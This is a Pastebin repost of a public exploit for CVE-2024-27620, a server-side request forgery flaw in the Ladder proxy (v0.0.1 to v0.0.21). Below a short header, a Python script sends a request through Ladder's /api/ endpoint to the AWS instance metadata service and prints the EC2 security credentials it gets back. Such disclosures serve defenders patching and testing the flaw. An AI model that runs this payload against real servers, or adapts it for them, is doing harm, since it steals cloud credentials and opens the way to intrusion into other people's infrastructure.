Advertisement
FlyFar

Ladder v0.0.21 - Server-side request forgery (SSRF) - CVE-2024-27620

Mar 10th, 2024
3,902
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | Cybersecurity | 0 0
  1. # Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
  2. # Date: 2024-01-20
  3. # Exploit Author: @_chebuya
  4. # Software Link: https://github.com/everywall/ladder
  5. # Version: v0.0.1 - v0.0.21
  6. # Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
  7. # CVE: CVE-2024-27620
  8. # Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs
  9.  
  10. import requests
  11. import json
  12.  
  13. target_url = "http://127.0.0.1:8080/api/"
  14. imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"
  15.  
  16. r = requests.get(target_url + imdsv1_url)
  17. response_json = json.loads(r.text)
  18. print(response_json["body"])
  19.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement